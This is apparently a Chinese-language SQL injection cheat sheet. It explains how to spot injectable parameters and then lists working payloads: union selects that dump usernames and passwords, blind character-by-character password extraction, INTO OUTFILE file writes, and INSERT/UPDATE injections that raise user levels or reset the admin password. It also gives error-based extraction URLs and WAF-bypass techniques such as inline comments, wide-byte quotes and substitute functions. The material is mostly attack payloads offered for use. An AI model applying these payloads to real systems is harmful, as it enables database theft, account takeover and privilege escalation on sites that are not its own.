一、注入点判断
key:参数后面的内容我们是否可以控制
按照SQL注入与预防一书,注入可分为三种类型:
1.基于错误
当改变参数后面的内容的时候,如果直接显示出数据库错误,可能就是一个注入点。如 id=1 后面加了 ' 出现报错
2.基于内容
当修改参数后的内容时,返回的页面内容如果一致,则说明id后面的参数可以控制,也是个注入点。如 id= 1 修改为 id=2 等
3.基于时间
可以构造sleep语句,如 and if(1=1,sleep(5),1) 若要访问的页面过一段时间才可以被访问,则说明这是个注入点
在选择时:基于错误>基于内容> 基于时间 <优先>
二、SQL注入语句
' or 1=1' or '1=1'/*'%23' and password='mypassid=-1 union select 1,1,1id=-1 union select char(97),char(97),char(97)id=1 union select 1,1,1 from membersid=1 union select 1,1,1 from adminid=1 union select 1,1,1 from useruserid=1 and password=mypassuserid=1 and mid(password,3,1)=char(112)userid=1 and mid(password,4,1)=char(97)and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)' and LENGTH(password)='6(探测密码长度)' and LEFT(password,1)='m' and LEFT(password,2)='my…………………………依次类推' union select 1,username,password from user/*' union select 1,username,password from user/*=' union select 1,username,password from user/* (可以是1 或者=后直接跟)99999' union select 1,username,password from user/*' into outfile 'c:/file.txt (导出文件)=' or 1=1 into outfile 'c:/file.txt1' union select 1,username,password from user into outfile 'c:/user.txtSELECT password FROM admins WHERE login='John' INTO DUMPFILE'/path/to/site/file.txt'id=' union select 1,username,password from user into outfileid=-1 union select 1,database(),version() (灵活应用查询常用查询测试语句,SELECT * FROM table WHERE 1=1SELECT * FROM table WHERE 'uuu'='uuu'SELECT * FROM table WHERE 1<>2SELECT * FROM table WHERE 3>2SELECT * FROM table WHERE 2<3SELECT * FROM table WHERE 1SELECT * FROM table WHERE 1+1SELECT * FROM table WHERE 1--1SELECT * FROM table WHERE ISNULL(NULL)SELECT * FROM table WHERE ISNULL(COT(0))SELECT * FROM table WHERE 1 IS NOT NULLSELECT * FROM table WHERE NULL IS NULLSELECT * FROM table WHERE 2 BETWEEN 1 AND 3SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'SELECT * FROM table WHERE 2 IN (0,1,2)SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 ENDid=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_userunion select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user whereid=1 and groupid=1union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_userwhere id=1 (替换,寻找密码)union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 andord(mid(password,1,1))=49 (验证第一位密码)union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 andord(mid(password,2,1))=50 (第二位)union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 andord(mid(password,3,1))=51…………………………………………………………例如1:灰色轨迹 变换id进行测试(meteorunion%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20eventdateunion%20(SELECT%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate构造语句:SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_eventsWHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_eventsWHERE eventid = 1 union (select 1,1,1,1,username,password from user whereuserid=1)UNION%20(SELECT%201,0,2,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid%20=%205)%20order%20by%20eventdateUNION%20(SELECT%201,0,12695,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid=13465)%20order%20by%20eventdateUNION%20(SELECT%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20WHERE%20username='sandflee')%20order%20by%20eventdate (查沙子的id)(SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10)SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……(字段和数据库相同情况下,可直接提交)SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1FROM……(不同的情况下)特殊技巧:在表单,搜索引擎等地方写:“___”“.__ ”“%%' ORDER BY articleid/*%' ORDER BY articleid#__' ORDER BY articleid/*__' ORDER BY articleid$command = "dir c:";system($command);SELECT * FROM article WHERE articleid='$id'SELECT * FROM article WHERE articleid=$id1' and 1=2 union select * from user where userid=1/* 句中变为(SELECT * FROM article WHERE articleid='1' and 1=2 union select * from userwhere userid=1/*')1 and 1=2 union select * from user where userid=1语句形式:建立一个库,插入:CREATE DATABASE `injection`CREATE TABLE `user` (`userid` int(11) NOT NULL auto_increment,`username` varchar(20) NOT NULL default '',`password` varchar(20) NOT NULL default '',PRIMARY KEY (`userid`)) ;INSERT INTO `user` VALUES (1, 'swap', 'mypass');插如一个注册用户:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('','$username', '$password', '$homepage', '1');“INSERT INTO membres (login,password,nom,email,userlevel) VALUES('$login','$pass','$nom','$email','1')";INSERT INTO membres (login,password,nom,email,userlevel) VALUES('','','','','3')#','1')"INSERT INTO membres SETlogin='$login',password='$pass',nom='$nom',email='$email'";INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''"INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)',homepage='$homepage' WHERE id='$id'"UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERid='$id'";UPDATE membres SET password='[PASS]',nom='',userlevel='3',email=' ' WHEREid='[ID]'"UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'";长用函数:DATABASE()USER()SYSTEM_USER()SESSION_USER()CURRENT_USER()比如:UPDATE article SET title=$title WHERE articleid=1 对应函数UPDATE article SET title=DATABASE() WHERE id=1#把当前数据库名更新到title字段UPDATE article SET title=USER() WHERE id=1#把当前 MySQL 用户名更新到title字段UPDATE article SET title=SYSTEM_USER() WHERE id=1#把当前 MySQL 用户名更新到title字段UPDATE article SET title=SESSION_USER() WHERE id=1#把当前 MySQL 用户名更新到title字段UPDATE article SET title=CURRENT_USER() WHERE id=1#把当前会话被验证匹配的用户名更新到title字段:::::::::::::::::::::::::::::::$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BYname";SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDERBY nameSELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDERBY nameSELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'(经典)SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''SELECT * FROM table WHERE msg LIKE '%hopSELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#'AND password=''SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDE三、获取数据的思路 ( 摘自博客www.bywalks.com )
1. 报错语句:
<pre class="python;toolbar:false;">通过floor()报错: http://localhost/index.php?name='+or+(select+1+from(select+count(*),concat(user(),0x7e,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+%23&pass=1 通过extractvalue()报错: http://localhost/index.php?name='+or+extractvalue(1,concat(user(),0x7e,version()))+%23&pass=1 通过updatexml()报错: http://localhost/index.php?name='+or+updatexml(1,concat(user(),0x7e,version()),1)+%23&pass=1 通过exp()报错: http://localhost/index.php?name='+or+EXP(~(SELECT * from(select user())a))+%23&pass=1 通过NAME_CONST(适用于低版本)报错: http://localhost/index.php?name='+or+(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)+%23&pass=1</pre>
2. 绕过防御
<pre class="python;toolbar:false;">内联注释:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
编码绕过:
如URLEncode编码,ASCII,HEX,unicode编码绕过
空格绕过:
两个空格代替一个空格,用Tab代替空格 %20 %09 %0a %0b %0c %0d %a0 /**/
括号绕过空格 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来 select(user())from dual where 1=1 and 2=2;
换行符绕过:
%0a、%0d
宽字节绕过:
过滤单引号时,可以试试宽字节 %bf%27 %df%27 %aa%27
反引号`绕过:
select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
等价函数绕过:
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat() mid()、substr() ==> substring()
@@user ==> user() @@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1</pre>